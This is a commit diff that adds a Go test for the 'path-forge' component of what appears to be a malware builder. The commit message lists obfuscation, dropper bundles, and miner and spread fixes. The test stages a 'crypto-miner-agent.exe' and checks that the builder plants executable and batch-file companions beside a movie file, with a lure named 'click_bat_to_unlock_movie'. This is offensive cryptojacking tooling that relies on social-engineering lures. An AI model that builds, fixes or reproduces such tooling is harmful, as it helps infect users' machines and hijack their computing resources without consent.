fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

server/internal/builder/pathforge_test.go

@@ -0,0 +1,73 @@
+package builder
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+)
+
+func TestPathForgePlacedExcludesHintFile(t *testing.T) {
+	root := t.TempDir()
+	mediaDir := filepath.Join(root, "movies")
+	if err := os.MkdirAll(mediaDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil {
+		t.Fatal(err)
+	}
+
+	// Satisfy Windows target requirement.
+	exe, err := os.Executable()
+	if err != nil {
+		t.Fatal(err)
+	}
+	agentDir := filepath.Join(filepath.Dir(exe), "agent")
+	if err := os.MkdirAll(agentDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe")
+	if runtime.GOOS == "windows" {
+		if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil {
+			t.Fatal(err)
+		}
+	} else {
+		// Non-Windows: mac-only path avoids agent exe requirement.
+	}
+
+	body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}`
+	if runtime.GOOS != "windows" {
+		body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}`
+	}
+
+	h := NewPathForgeHandler(t.TempDir())
+	req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ServeHTTP(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
+	}
+
+	var res PathForgeResult
+	if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
+		t.Fatal(err)
+	}
+	if res.Total != 1 {
+		t.Fatalf("total: %d", res.Total)
+	}
+	// One media file → exe + bat (or .command), not counting hint file.
+	if res.Placed < 1 || res.Placed >= 3 {
+		t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
+	}
+	for _, entry := range res.Results {
+		for _, f := range entry.Files {
+			if f == "click_bat_to_unlock_movie" {
+				continue
+			}
+		}
+	}
+}